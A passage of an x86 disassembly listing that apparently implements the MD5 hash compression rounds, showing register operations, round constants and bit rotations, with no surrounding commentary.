:0041E7D6 C1ED0A shr ebp, 0A
:0041E7D9 0BF5 or esi, ebp
:0041E7DB 8B6820 mov ebp, dword ptr [eax+20]
:0041E7DE 03F2 add esi, edx
:0041E7E0 896C242C mov dword ptr [esp+2C], ebp
:0041E7E4 89742458 mov dword ptr [esp+58], esi
:0041E7E8 8BEA mov ebp, edx
:0041E7EA 236C2458 and ebp, dword ptr [esp+58]
:0041E7EE F7D6 not esi
:0041E7F0 23F1 and esi, ecx
:0041E7F2 0BF5 or esi, ebp
:0041E7F4 8B6C242C mov ebp, dword ptr [esp+2C]
:0041E7F8 03F5 add esi, ebp
:0041E7FA 8B6824 mov ebp, dword ptr [eax+24]
:0041E7FD 896C2444 mov dword ptr [esp+44], ebp
:0041E801 8DBC37D8988069 lea edi, dword ptr [edi+esi+698098D8]
:0041E808 8BF7 mov esi, edi
:0041E80A C1EE19 shr esi, 19
:0041E80D C1E707 shl edi, 07
:0041E810 0BF7 or esi, edi
:0041E812 8B7C2458 mov edi, dword ptr [esp+58]
:0041E816 03F7 add esi, edi
:0041E818 8BEE mov ebp, esi
:0041E81A F7D5 not ebp
:0041E81C 23EA and ebp, edx
:0041E81E 23FE and edi, esi
:0041E820 0BEF or ebp, edi
:0041E822 8B7C2444 mov edi, dword ptr [esp+44]
:0041E826 03EF add ebp, edi
:0041E828 8D8C29AFF7448B lea ecx, dword ptr [ecx+ebp-74BB0851]
:0041E82F 8B6C2458 mov ebp, dword ptr [esp+58]
:0041E833 8BF9 mov edi, ecx
:0041E835 C1EF14 shr edi, 14
:0041E838 C1E10C shl ecx, 0C
:0041E83B 0BF9 or edi, ecx
:0041E83D 8B4828 mov ecx, dword ptr [eax+28]
:0041E840 03FE add edi, esi
:0041E842 894C2424 mov dword ptr [esp+24], ecx
:0041E846 8BCF mov ecx, edi
:0041E848 F7D1 not ecx
:0041E84A 23CD and ecx, ebp
:0041E84C 8BEF mov ebp, edi
:0041E84E 23EE and ebp, esi
:0041E850 0BCD or ecx, ebp
:0041E852 8B6C2424 mov ebp, dword ptr [esp+24]
:0041E856 03CD add ecx, ebp
:0041E858 8BEF mov ebp, edi
:0041E85A 8D940AB15BFFFF lea edx, dword ptr [edx+ecx-0000A44F]
:0041E861 8BCA mov ecx, edx
:0041E863 C1E90F shr ecx, 0F
:0041E866 C1E211 shl edx, 11
:0041E869 0BCA or ecx, edx
:0041E86B 8B502C mov edx, dword ptr [eax+2C]
:0041E86E 03CF add ecx, edi
:0041E870 8954243C mov dword ptr [esp+3C], edx
:0041E874 8BD1 mov edx, ecx
:0041E876 23E9 and ebp, ecx
:0041E878 F7D2 not edx
:0041E87A 23D6 and edx, esi
:0041E87C 0BD5 or edx, ebp
:0041E87E 8B6C243C mov ebp, dword ptr [esp+3C]
:0041E882 03D5 add edx, ebp
:0041E884 8B6C2458 mov ebp, dword ptr [esp+58]
:0041E888 8DAC2ABED75C89 lea ebp, dword ptr [edx+ebp-76A32842]
:0041E88F 8BD5 mov edx, ebp
:0041E891 C1E216 shl edx, 16
:0041E894 C1ED0A shr ebp, 0A
:0041E897 0BD5 or edx, ebp
:0041E899 8B6830 mov ebp, dword ptr [eax+30]
:0041E89C 03D1 add edx, ecx
:0041E89E 896C241C mov dword ptr [esp+1C], ebp
:0041E8A2 89542458 mov dword ptr [esp+58], edx
:0041E8A6 8BE9 mov ebp, ecx
:0041E8A8 236C2458 and ebp, dword ptr [esp+58]
:0041E8AC F7D2 not edx
:0041E8AE 23D7 and edx, edi
:0041E8B0 0BD5 or edx, ebp
:0041E8B2 8B6C241C mov ebp, dword ptr [esp+1C]
:0041E8B6 03D5 add edx, ebp
:0041E8B8 8B6834 mov ebp, dword ptr [eax+34]
:0041E8BB 896C2434 mov dword ptr [esp+34], ebp
:0041E8BF 8DB4162211906B lea esi, dword ptr [esi+edx+6B901122]
:0041E8C6 8BD6 mov edx, esi
:0041E8C8 C1EA19 shr edx, 19
:0041E8CB C1E607 shl esi, 07
:0041E8CE 0BD6 or edx, esi
:0041E8D0 8B742458 mov esi, dword ptr [esp+58]
:0041E8D4 03D6 add edx, esi
:0041E8D6 8BEA mov ebp, edx
:0041E8D8 23F2 and esi, edx
:0041E8DA F7D5 not ebp
:0041E8DC 23E9 and ebp, ecx
:0041E8DE 0BEE or ebp, esi
:0041E8E0 8B742434 mov esi, dword ptr [esp+34]
:0041E8E4 03EE add ebp, esi
:0041E8E6 8DBC2F937198FD lea edi, dword ptr [edi+ebp-02678E6D]
:0041E8ED 8BF7 mov esi, edi
:0041E8EF C1EE14 shr esi, 14
:0041E8F2 C1E70C shl edi, 0C
:0041E8F5 0BF7 or esi, edi
:0041E8F7 03F2 add esi, edx
:0041E8F9 8BFE mov edi, esi
:0041E8FB F7D7 not edi
:0041E8FD 897C244C mov dword ptr [esp+4C], edi
:0041E901 8B6838 mov ebp, dword ptr [eax+38]
:0041E904 8B403C mov eax, dword ptr [eax+3C]
:0041E907 896C2414 mov dword ptr [esp+14], ebp
:0041E90B 8B6C2458 mov ebp, dword ptr [esp+58]
:0041E90F 23FD and edi, ebp
:0041E911 8BEE mov ebp, esi
:0041E913 23EA and ebp, edx
:0041E915 89442448 mov dword ptr [esp+48], eax
:0041E919 0BFD or edi, ebp
:0041E91B 8B6C2414 mov ebp, dword ptr [esp+14]
:0041E91F 03FD add edi, ebp
:0041E921 8BEE mov ebp, esi
:0041E923 8D8C398E4379A6 lea ecx, dword ptr [ecx+edi-5986BC72]
:0041E92A 8BF9 mov edi, ecx
:0041E92C C1EF0F shr edi, 0F
:0041E92F C1E111 shl ecx, 11
:0041E932 0BF9 or edi, ecx
:0041E934 03FE add edi, esi
:0041E936 8BCF mov ecx, edi
:0041E938 23EF and ebp, edi
:0041E93A F7D1 not ecx
:0041E93C 894C2450 mov dword ptr [esp+50], ecx
:0041E940 23CA and ecx, edx
:0041E942 0BCD or ecx, ebp
:0041E944 8BEE mov ebp, esi
:0041E946 03C8 add ecx, eax
:0041E948 8B442458 mov eax, dword ptr [esp+58]
:0041E94C 8D84082108B449 lea eax, dword ptr [eax+ecx+49B40821]
:0041E953 8BC8 mov ecx, eax
:0041E955 C1E116 shl ecx, 16
:0041E958 C1E80A shr eax, 0A
:0041E95B 0BC8 or ecx, eax
:0041E95D 8B44244C mov eax, dword ptr [esp+4C]
:0041E961 03CF add ecx, edi
:0041E963 23C7 and eax, edi
:0041E965 23E9 and ebp, ecx
:0041E967 0BC5 or eax, ebp
:0041E969 8B6C2428 mov ebp, dword ptr [esp+28]
:0041E96D 03C5 add eax, ebp
:0041E96F 8BEF mov ebp, edi
:0041E971 8D840262251EF6 lea eax, dword ptr [edx+eax-09E1DA9E]
:0041E978 8BD0 mov edx, eax
:0041E97A C1EA1B shr edx, 1B
:0041E97D C1E005 shl eax, 05
:0041E980 0BD0 or edx, eax
:0041E982 8B442450 mov eax, dword ptr [esp+50]
:0041E986 03D1 add edx, ecx
:0041E988 23C1 and eax, ecx
:0041E98A 23EA and ebp, edx
:0041E98C 0BC5 or eax, ebp
:0041E98E 8B6C2430 mov ebp, dword ptr [esp+30]
:0041E992 03C5 add eax, ebp
:0041E994 8D840640B340C0 lea eax, dword ptr [esi+eax-3FBF4CC0]
:0041E99B 8BF0 mov esi, eax
:0041E99D C1EE17 shr esi, 17
:0041E9A0 C1E009 shl eax, 09
:0041E9A3 0BF0 or esi, eax
:0041E9A5 8BC1 mov eax, ecx
:0041E9A7 03F2 add esi, edx
:0041E9A9 F7D0 not eax
:0041E9AB 8BEE mov ebp, esi
:0041E9AD 23C2 and eax, edx
:0041E9AF 23E9 and ebp, ecx
:0041E9B1 0BC5 or eax, ebp
:0041E9B3 8B6C243C mov ebp, dword ptr [esp+3C]
:0041E9B7 03C5 add eax, ebp
:0041E9B9 8D8407515A5E26 lea eax, dword ptr [edi+eax+265E5A51]
:0041E9C0 8BF8 mov edi, eax
:0041E9C2 C1EF12 shr edi, 12
:0041E9C5 C1E00E shl eax, 0E
:0041E9C8 0BF8 or edi, eax
:0041E9CA 8BC2 mov eax, edx
:0041E9CC 03FE add edi, esi
:0041E9CE F7D0 not eax
:0041E9D0 8BEF mov ebp, edi
:0041E9D2 23C6 and eax, esi
:0041E9D4 23EA and ebp, edx
:0041E9D6 0BC5 or eax, ebp
:0041E9D8 8B6C245C mov ebp, dword ptr [esp+5C]
:0041E9DC 03C5 add eax, ebp
:0041E9DE 8D8401AAC7B6E9 lea eax, dword ptr [ecx+eax-16493856]
:0041E9E5 8BC8 mov ecx, eax
:0041E9E7 8BEE mov ebp, esi
:0041E9E9 C1E80C shr eax, 0C
:0041E9EC C1E114 shl ecx, 14
:0041E9EF 0BC8 or ecx, eax
:0041E9F1 8BC6 mov eax, esi
:0041E9F3 F7D0 not eax
:0041E9F5 03CF add ecx, edi
:0041E9F7 23C7 and eax, edi
:0041E9F9 23E9 and ebp, ecx
:0041E9FB 0BC5 or eax, ebp
:0041E9FD 8B6C2418 mov ebp, dword ptr [esp+18]
:0041EA01 03C5 add eax, ebp
:0041EA03 8BEF mov ebp, edi
:0041EA05 8D84025D102FD6 lea eax, dword ptr [edx+eax-29D0EFA3]
:0041EA0C 8BD0 mov edx, eax
:0041EA0E C1E005 shl eax, 05
:0041EA11 C1EA1B shr edx, 1B
:0041EA14 0BD0 or edx, eax
:0041EA16 8BC7 mov eax, edi
:0041EA18 03D1 add edx, ecx
:0041EA1A F7D0 not eax
:0041EA1C 23C1 and eax, ecx
:0041EA1E 23EA and ebp, edx
:0041EA20 0BC5 or eax, ebp
:0041EA22 8B6C2424 mov ebp, dword ptr [esp+24]
:0041EA26 03C5 add eax, ebp
:0041EA28 8D840653144402 lea eax, dword ptr [esi+eax+02441453]
:0041EA2F 8BF0 mov esi, eax
:0041EA31 C1EE17 shr esi, 17
:0041EA34 C1E009 shl eax, 09
:0041EA37 0BF0 or esi, eax
:0041EA39 8BC1 mov eax, ecx
:0041EA3B 03F2 add esi, edx
:0041EA3D F7D0 not eax
:0041EA3F 8BEE mov ebp, esi
:0041EA41 23C2 and eax, edx
:0041EA43 23E9 and ebp, ecx
:0041EA45 0BC5 or eax, ebp
:0041EA47 8B6C2448 mov ebp, dword ptr [esp+48]
:0041EA4B 03C5 add eax, ebp
:0041EA4D 8D840781E6A1D8 lea eax, dword ptr [edi+eax-275E197F]
:0041EA54 8BF8 mov edi, eax
:0041EA56 C1EF12 shr edi, 12
:0041EA59 C1E00E shl eax, 0E
:0041EA5C 0BF8 or edi, eax
:0041EA5E 8BC2 mov eax, edx
:0041EA60 03FE add edi, esi
:0041EA62 F7D0 not eax
:0041EA64 8BEF mov ebp, edi
:0041EA66 23C6 and eax, esi
:0041EA68 23EA and ebp, edx
:0041EA6A 0BC5 or eax, ebp
:0041EA6C 8B6C2438 mov ebp, dword ptr [esp+38]
:0041EA70 03C5 add eax, ebp
:0041EA72 8BEE mov ebp, esi
:0041EA74 8D8401C8FBD3E7 lea eax, dword ptr [ecx+eax-182C0438]
:0041EA7B 8BC8 mov ecx, eax
:0041EA7D C1E114 shl ecx, 14
:0041EA80 C1E80C shr eax, 0C
:0041EA83 0BC8 or ecx, eax
:0041EA85 8BC6 mov eax, esi
:0041EA87 03CF add ecx, edi
:0041EA89 F7D0 not eax
:0041EA8B 23C7 and eax, edi
:0041EA8D 23E9 and ebp, ecx
:0041EA8F 0BC5 or eax, ebp
:0041EA91 8B6C2444 mov ebp, dword ptr [esp+44]
:0041EA95 03C5 add eax, ebp
:0041EA97 8BEF mov ebp, edi
:0041EA99 8D8402E6CDE121 lea eax, dword ptr [edx+eax+21E1CDE6]
:0041EAA0 8BD0 mov edx, eax
:0041EAA2 C1EA1B shr edx, 1B
:0041EAA5 C1E005 shl eax, 05
:0041EAA8 0BD0 or edx, eax
:0041EAAA 8BC7 mov eax, edi
:0041EAAC 03D1 add edx, ecx
:0041EAAE F7D0 not eax
:0041EAB0 23C1 and eax, ecx
:0041EAB2 23EA and ebp, edx
:0041EAB4 0BC5 or eax, ebp
:0041EAB6 03442414 add eax, dword ptr [esp+14]
:0041EABA 8D8406D60737C3 lea eax, dword ptr [esi+eax-3CC8F82A]
:0041EAC1 8BF0 mov esi, eax
:0041EAC3 C1E009 shl eax, 09
:0041EAC6 C1EE17 shr esi, 17
:0041EAC9 0BF0 or esi, eax
:0041EACB 8BC1 mov eax, ecx
:0041EACD 03F2 add esi, edx
:0041EACF F7D0 not eax
:0041EAD1 8BEE mov ebp, esi
:0041EAD3 23C2 and eax, edx
:0041EAD5 23E9 and ebp, ecx
:0041EAD7 0BC5 or eax, ebp
:0041EAD9 8B6C2420 mov ebp, dword ptr [esp+20]
:0041EADD 03C5 add eax, ebp
:0041EADF 8D8407870DD5F4 lea eax, dword ptr [edi+eax-0B2AF279]
:0041EAE6 8BF8 mov edi, eax
:0041EAE8 C1E00E shl eax, 0E
:0041EAEB C1EF12 shr edi, 12
:0041EAEE 0BF8 or edi, eax
:0041EAF0 8BC2 mov eax, edx
:0041EAF2 03FE add edi, esi
:0041EAF4 F7D0 not eax
:0041EAF6 8BEF mov ebp, edi
:0041EAF8 23C6 and eax, esi
:0041EAFA 23EA and ebp, edx
:0041EAFC 0BC5 or eax, ebp
:0041EAFE 8B6C242C mov ebp, dword ptr [esp+2C]
:0041EB02 03C5 add eax, ebp
:0041EB04 8BEE mov ebp, esi
:0041EB06 8D8401ED145A45 lea eax, dword ptr [ecx+eax+455A14ED]
:0041EB0D 8BC8 mov ecx, eax
:0041EB0F C1E114 shl ecx, 14
:0041EB12 C1E80C shr eax, 0C
:0041EB15 0BC8 or ecx, eax
:0041EB17 8BC6 mov eax, esi
:0041EB19 03CF add ecx, edi
:0041EB1B F7D0 not eax
:0041EB1D 23C7 and eax, edi
:0041EB1F 23E9 and ebp, ecx
:0041EB21 0BC5 or eax, ebp
:0041EB23 8B6C2434 mov ebp, dword ptr [esp+34]
:0041EB27 03C5 add eax, ebp
:0041EB29 8BEF mov ebp, edi
:0041EB2B 8D840205E9E3A9 lea eax, dword ptr [edx+eax-561C16FB]
:0041EB32 8BD0 mov edx, eax
:0041EB34 C1EA1B shr edx, 1B
:0041EB37 C1E005 shl eax, 05
:0041EB3A 0BD0 or edx, eax
:0041EB3C 8BC7 mov eax, edi
:0041EB3E 03D1 add edx, ecx
:0041EB40 F7D0 not eax
:0041EB42 23C1 and eax, ecx
:0041EB44 23EA and ebp, edx
:0041EB46 0BC5 or eax, ebp
:0041EB48 8B6C2440 mov ebp, dword ptr [esp+40]
:0041EB4C 03C5 add eax, ebp
:0041EB4E 8D8406F8A3EFFC lea eax, dword ptr [esi+eax-03105C08]
:0041EB55 8BF0 mov esi, eax
:0041EB57 C1EE17 shr esi, 17
:0041EB5A C1E009 shl eax, 09
:0041EB5D 0BF0 or esi, eax
:0041EB5F 8BC1 mov eax, ecx
:0041EB61 03F2 add esi, edx
:0041EB63 F7D0 not eax
:0041EB65 8BEE mov ebp, esi
:0041EB67 23C2 and eax, edx
:0041EB69 23E9 and ebp, ecx
:0041EB6B 0BC5 or eax, ebp
:0041EB6D 8B6C2410 mov ebp, dword ptr [esp+10]
:0041EB71 03C5 add eax, ebp
:0041EB73 8D8407D9026F67 lea eax, dword ptr [edi+eax+676F02D9]
:0041EB7A 8BF8 mov edi, eax
:0041EB7C C1EF12 shr edi, 12
:0041EB7F C1E00E shl eax, 0E
:0041EB82 0BF8 or edi, eax
:0041EB84 8BC2 mov eax, edx
:0041EB86 F7D0 not eax
:0041EB88 03FE add edi, esi
:0041EB8A 23C6 and eax, esi
:0041EB8C 8BEF mov ebp, edi
:0041EB8E 23EA and ebp, edx
:0041EB90 0BC5 or eax, ebp
:0041EB92 8B6C241C mov ebp, dword ptr [esp+1C]
:0041EB96 03C5 add eax, ebp
:0041EB98 8B6C2418 mov ebp, dword ptr [esp+18]
:0041EB9C 8D84018A4C2A8D lea eax, dword ptr [ecx+eax-72D5B376]
:0041EBA3 8BC8 mov ecx, eax
:0041EBA5 C1E80C shr eax, 0C
:0041EBA8 C1E114 shl ecx, 14
:0041EBAB 0BC8 or ecx, eax
:0041EBAD 8BC6 mov eax, esi
:0041EBAF 33C7 xor eax, edi
:0041EBB1 03CF add ecx, edi
:0041EBB3 33C1 xor eax, ecx
:0041EBB5 03C5 add eax, ebp
:0041EBB7 8B6C242C mov ebp, dword ptr [esp+2C]
:0041EBBB 8D84024239FAFF lea eax, dword ptr [edx+eax-0005C6BE]
:0041EBC2 8BD0 mov edx, eax
:0041EBC4 C1E004 shl eax, 04
:0041EBC7 C1EA1C shr edx, 1C
:0041EBCA 0BD0 or edx, eax
:0041EBCC 8BC7 mov eax, edi
:0041EBCE 33C1 xor eax, ecx
:0041EBD0 03D1 add edx, ecx
:0041EBD2 33C2 xor eax, edx
:0041EBD4 03C5 add eax, ebp
:0041EBD6 8B6C243C mov ebp, dword ptr [esp+3C]
:0041EBDA 8D840681F67187 lea eax, dword ptr [esi+eax-788E097F]
:0041EBE1 8BF0 mov esi, eax
:0041EBE3 C1EE15 shr esi, 15
:0041EBE6 C1E00B shl eax, 0B
:0041EBE9 0BF0 or esi, eax
:0041EBEB 03F2 add esi, edx
:0041EBED 8BC6 mov eax, esi
:0041EBEF 33C1 xor eax, ecx
:0041EBF1 33C2 xor eax, edx
:0041EBF3 03C5 add eax, ebp
:0041EBF5 8B6C2414 mov ebp, dword ptr [esp+14]
:0041EBF9 8D840722619D6D lea eax, dword ptr [edi+eax+6D9D6122]
:0041EC00 8BF8 mov edi, eax
:0041EC02 C1EF10 shr edi, 10
:0041EC05 C1E010 shl eax, 10
:0041EC08 0BF8 or edi, eax
:0041EC0A 8BC6 mov eax, esi
:0041EC0C 03FE add edi, esi
:0041EC0E 33C7 xor eax, edi
:0041EC10 89442458 mov dword ptr [esp+58], eax
:0041EC14 33C2 xor eax, edx
:0041EC16 03C5 add eax, ebp
:0041EC18 8B6C2428 mov ebp, dword ptr [esp+28]
:0041EC1C 8D84010C38E5FD lea eax, dword ptr [ecx+eax-021AC7F4]
:0041EC23 8BC8 mov ecx, eax
:0041EC25 C1E117 shl ecx, 17
:0041EC28 C1E809 shr eax, 09
:0041EC2B 0BC8 or ecx, eax
:0041EC2D 8B442458 mov eax, dword ptr [esp+58]
:0041EC31 03CF add ecx, edi
:0041EC33 33C1 xor eax, ecx
:0041EC35 03C5 add eax, ebp
:0041EC37 8B6C2438 mov ebp, dword ptr [esp+38]
:0041EC3B 8D840244EABEA4 lea eax, dword ptr [edx+eax-5B4115BC]
:0041EC42 8BD0 mov edx, eax
:0041EC44 C1EA1C shr edx, 1C
:0041EC47 C1E004 shl eax, 04
:0041EC4A 0BD0 or edx, eax
:0041EC4C 8BC7 mov eax, edi
:0041EC4E 03D1 add edx, ecx
:0041EC50 33C1 xor eax, ecx
:0041EC52 33C2 xor eax, edx
:0041EC54 03C5 add eax, ebp
:0041EC56 8B6C2410 mov ebp, dword ptr [esp+10]
:0041EC5A 8D8406A9CFDE4B lea eax, dword ptr [esi+eax+4BDECFA9]
:0041EC61 8BF0 mov esi, eax
:0041EC63 C1EE15 shr esi, 15
:0041EC66 C1E00B shl eax, 0B
:0041EC69 0BF0 or esi, eax
:0041EC6B 03F2 add esi, edx
:0041EC6D 8BC6 mov eax, esi
:0041EC6F 33C1 xor eax, ecx
:0041EC71 33C2 xor eax, edx
:0041EC73 03C5 add eax, ebp
:0041EC75 8B6C2424 mov ebp, dword ptr [esp+24]
:0041EC79 8D8407604BBBF6 lea eax, dword ptr [edi+eax-0944B4A0]
:0041EC80 8BF8 mov edi, eax
:0041EC82 C1E010 shl eax, 10
:0041EC85 C1EF10 shr edi, 10
:0041EC88 0BF8 or edi, eax
:0041EC8A 8BC6 mov eax, esi
:0041EC8C 03FE add edi, esi
:0041EC8E 33C7 xor eax, edi
:0041EC90 89442458 mov dword ptr [esp+58], eax
:0041EC94 33C2 xor eax, edx
:0041EC96 03C5 add eax, ebp
:0041EC98 8B6C2434 mov ebp, dword ptr [esp+34]
:0041EC9C 8D840170BCBFBE lea eax, dword ptr [ecx+eax-41404390]
:0041ECA3 8BC8 mov ecx, eax
:0041ECA5 C1E809 shr eax, 09
:0041ECA8 C1E117 shl ecx, 17
:0041ECAB 0BC8 or ecx, eax
:0041ECAD 8B442458 mov eax, dword ptr [esp+58]
:0041ECB1 03CF add ecx, edi
:0041ECB3 33C1 xor eax, ecx
:0041ECB5 03C5 add eax, ebp
:0041ECB7 8B6C245C mov ebp, dword ptr [esp+5C]
:0041ECBB 8D8402C67E9B28 lea eax, dword ptr [edx+eax+289B7EC6]
:0041ECC2 8BD0 mov edx, eax
:0041ECC4 C1EA1C shr edx, 1C
:0041ECC7 C1E004 shl eax, 04
:0041ECCA 0BD0 or edx, eax
:0041ECCC 8BC7 mov eax, edi
:0041ECCE 03D1 add edx, ecx
:0041ECD0 33C1 xor eax, ecx
:0041ECD2 33C2 xor eax, edx
:0041ECD4 03C5 add eax, ebp
:0041ECD6 8B6C2420 mov ebp, dword ptr [esp+20]
:0041ECDA 8D8406FA27A1EA lea eax, dword ptr [esi+eax-155ED806]
:0041ECE1 8BF0 mov esi, eax
:0041ECE3 C1EE15 shr esi, 15
:0041ECE6 C1E00B shl eax, 0B
:0041ECE9 0BF0 or esi, eax
:0041ECEB 03F2 add esi, edx
:0041ECED 8BC6 mov eax, esi
:0041ECEF 33C1 xor eax, ecx
:0041ECF1 33C2 xor eax, edx
:0041ECF3 03C5 add eax, ebp
:0041ECF5 8B6C2430 mov ebp, dword ptr [esp+30]
:0041ECF9 8D84078530EFD4 lea eax, dword ptr [edi+eax-2B10CF7B]
:0041ED00 8BF8 mov edi, eax
:0041ED02 C1EF10 shr edi, 10
:0041ED05 C1E010 shl eax, 10
:0041ED08 0BF8 or edi, eax
:0041ED0A 8BC6 mov eax, esi
:0041ED0C 03FE add edi, esi
:0041ED0E 33C7 xor eax, edi
:0041ED10 89442458 mov dword ptr [esp+58], eax
:0041ED14 33C2 xor eax, edx
:0041ED16 03C5 add eax, ebp
:0041ED18 8B6C2444 mov ebp, dword ptr [esp+44]
:0041ED1C 8D8401051D8804 lea eax, dword ptr [ecx+eax+04881D05]
:0041ED23 8BC8 mov ecx, eax
:0041ED25 C1E117 shl ecx, 17
:0041ED28 C1E809 shr eax, 09
:0041ED2B 0BC8 or ecx, eax
:0041ED2D 8B442458 mov eax, dword ptr [esp+58]
:0041ED31 03CF add ecx, edi
:0041ED33 33C1 xor eax, ecx
:0041ED35 03C5 add eax, ebp
:0041ED37 8B6C241C mov ebp, dword ptr [esp+1C]
:0041ED3B 8D840239D0D4D9 lea eax, dword ptr [edx+eax-262B2FC7]
:0041ED42 8BD0 mov edx, eax
:0041ED44 C1EA1C shr edx, 1C
:0041ED47 C1E004 shl eax, 04
:0041ED4A 0BD0 or edx, eax
:0041ED4C 8BC7 mov eax, edi
:0041ED4E 03D1 add edx, ecx
:0041ED50 33C1 xor eax, ecx
:0041ED52 33C2 xor eax, edx
:0041ED54 03C5 add eax, ebp
:0041ED56 8D8406E599DBE6 lea eax, dword ptr [esi+eax-1924661B]
:0041ED5D 8BF0 mov esi, eax
:0041ED5F C1EE15 shr esi, 15
:0041ED62 C1E00B shl eax, 0B
:0041ED65 0BF0 or esi, eax
:0041ED67 8B6C2448 mov ebp, dword ptr [esp+48]
:0041ED6B 03F2 add esi, edx
:0041ED6D 8BC6 mov eax, esi
:0041ED6F 33C1 xor eax, ecx
:0041ED71 33C2 xor eax, edx
:0041ED73 03C5 add eax, ebp
:0041ED75 8B6C2440 mov ebp, dword ptr [esp+40]
:0041ED79 8D8407F87CA21F lea eax, dword ptr [edi+eax+1FA27CF8]
:0041ED80 8BF8 mov edi, eax
:0041ED82 C1E010 shl eax, 10
:0041ED85 C1EF10 shr edi, 10
:0041ED88 0BF8 or edi, eax
:0041ED8A 8BC6 mov eax, esi
:0041ED8C 03FE add edi, esi
:0041ED8E 33C7 xor eax, edi
:0041ED90 33C2 xor eax, edx
:0041ED92 03C5 add eax, ebp
:0041ED94 8B6C245C mov ebp, dword ptr [esp+5C]
:0041ED98 8D84016556ACC4 lea eax, dword ptr [ecx+eax-3B53A99B]
:0041ED9F 8BC8 mov ecx, eax
:0041EDA1 C1E809 shr eax, 09
:0041EDA4 C1E117 shl ecx, 17
:0041EDA7 0BC8 or ecx, eax
:0041EDA9 8BC6 mov eax, esi
:0041EDAB F7D0 not eax
:0041EDAD 03CF add ecx, edi
:0041EDAF 0BC1 or eax, ecx
:0041EDB1 33C7 xor eax, edi
:0041EDB3 03C5 add eax, ebp
:0041EDB5 8B6C2410 mov ebp, dword ptr [esp+10]
:0041EDB9 8D8402442229F4 lea eax, dword ptr [edx+eax-0BD6DDBC]
:0041EDC0 8BD0 mov edx, eax
:0041EDC2 C1EA1A shr edx, 1A
:0041EDC5 C1E006 shl eax, 06
:0041EDC8 0BD0 or edx, eax
:0041EDCA 8BC7 mov eax, edi
:0041EDCC 03D1 add edx, ecx
:0041EDCE F7D0 not eax
:0041EDD0 0BC2 or eax, edx
:0041EDD2 33C1 xor eax, ecx
:0041EDD4 03C5 add eax, ebp
:0041EDD6 8B6C2414 mov ebp, dword ptr [esp+14]
:0041EDDA 8D840697FF2A43 lea eax, dword ptr [esi+eax+432AFF97]
:0041EDE1 8BF0 mov esi, eax
:0041EDE3 C1EE16 shr esi, 16
:0041EDE6 C1E00A shl eax, 0A
:0041EDE9 0BF0 or esi, eax
:0041EDEB 8BC1 mov eax, ecx
:0041EDED 03F2 add esi, edx
:0041EDEF F7D0 not eax
:0041EDF1 0BC6 or eax, esi
:0041EDF3 33C2 xor eax, edx
:0041EDF5 03C5 add eax, ebp
:0041EDF7 8B6C2418 mov ebp, dword ptr [esp+18]
:0041EDFB 8D8407A72394AB lea eax, dword ptr [edi+eax-546BDC59]
:0041EE02 8BF8 mov edi, eax
:0041EE04 C1EF11 shr edi, 11
:0041EE07 C1E00F shl eax, 0F
:0041EE0A 0BF8 or edi, eax
:0041EE0C 8BC2 mov eax, edx
:0041EE0E 03FE add edi, esi
:0041EE10 F7D0 not eax
:0041EE12 0BC7 or eax, edi
:0041EE14 33C6 xor eax, esi
:0041EE16 03C5 add eax, ebp
:0041EE18 8B6C241C mov ebp, dword ptr [esp+1C]
:0041EE1C 8D840139A093FC lea eax, dword ptr [ecx+eax-036C5FC7]
:0041EE23 8BC8 mov ecx, eax
:0041EE25 C1E115 shl ecx, 15
:0041EE28 C1E80B shr eax, 0B
:0041EE2B 0BC8 or ecx, eax
:0041EE2D 8BC6 mov eax, esi
:0041EE2F 03CF add ecx, edi
:0041EE31 F7D0 not eax
:0041EE33 0BC1 or eax, ecx
:0041EE35 33C7 xor eax, edi
:0041EE37 03C5 add eax, ebp
:0041EE39 8D8402C3595B65 lea eax, dword ptr [edx+eax+655B59C3]
:0041EE40 8BD0 mov edx, eax
:0041EE42 C1E006 shl eax, 06
:0041EE45 C1EA1A shr edx, 1A
:0041EE48 8B6C2420 mov ebp, dword ptr [esp+20]
:0041EE4C 0BD0 or edx, eax
:0041EE4E 8BC7 mov eax, edi
:0041EE50 03D1 add edx, ecx
:0041EE52 F7D0 not eax
:0041EE54 0BC2 or eax, edx
:0041EE56 33C1 xor eax, ecx
:0041EE58 03C5 add eax, ebp
:0041EE5A 8B6C2424 mov ebp, dword ptr [esp+24]
:0041EE5E 8D840692CC0C8F lea eax, dword ptr [esi+eax-70F3336E]
:0041EE65 8BF0 mov esi, eax
:0041EE67 C1E00A shl eax, 0A
:0041EE6A C1EE16 shr esi, 16
:0041EE6D 0BF0 or esi, eax
:0041EE6F 8BC1 mov eax, ecx
:0041EE71 03F2 add esi, edx
:0041EE73 F7D0 not eax
:0041EE75 0BC6 or eax, esi
:0041EE77 33C2 xor eax, edx
:0041EE79 03C5 add eax, ebp
:0041EE7B 8B6C2428 mov ebp, dword ptr [esp+28]
:0041EE7F 8D84077DF4EFFF lea eax, dword ptr [edi+eax-00100B83]
:0041EE86 8BF8 mov edi, eax
:0041EE88 C1EF11 shr edi, 11
:0041EE8B C1E00F shl eax, 0F
:0041EE8E 0BF8 or edi, eax
:0041EE90 8BC2 mov eax, edx
:0041EE92 03FE add edi, esi
:0041EE94 F7D0 not eax
:0041EE96 0BC7 or eax, edi
:0041EE98 33C6 xor eax, esi
:0041EE9A 03C5 add eax, ebp
:0041EE9C 8B6C242C mov ebp, dword ptr [esp+2C]
:0041EEA0 8D8401D15D8485 lea eax, dword ptr [ecx+eax-7A7BA22F]
:0041EEA7 8BC8 mov ecx, eax
:0041EEA9 C1E115 shl ecx, 15
:0041EEAC C1E80B shr eax, 0B
:0041EEAF 0BC8 or ecx, eax
:0041EEB1 8BC6 mov eax, esi
:0041EEB3 03CF add ecx, edi
:0041EEB5 F7D0 not eax
:0041EEB7 0BC1 or eax, ecx
:0041EEB9 33C7 xor eax, edi
:0041EEBB 03C5 add eax, ebp
:0041EEBD 8B6C2448 mov ebp, dword ptr [esp+48]
:0041EEC1 8D84024F7EA86F lea eax, dword ptr [edx+eax+6FA87E4F]
:0041EEC8 8BD0 mov edx, eax
:0041EECA C1EA1A shr edx, 1A
:0041EECD C1E006 shl eax, 06
:0041EED0 0BD0 or edx, eax
:0041EED2 8BC7 mov eax, edi
:0041EED4 03D1 add edx, ecx
:0041EED6 F7D0 not eax
:0041EED8 0BC2 or eax, edx
:0041EEDA 33C1 xor eax, ecx
:0041EEDC 03C5 add eax, ebp
:0041EEDE 8B6C2430 mov ebp, dword ptr [esp+30]
:0041EEE2 8DB406E0E62CFE lea esi, dword ptr [esi+eax-01D31920]
:0041EEE9 8BC6 mov eax, esi
:0041EEEB C1E816 shr eax, 16
:0041EEEE C1E60A shl esi, 0A
:0041EEF1 0BC6 or eax, esi
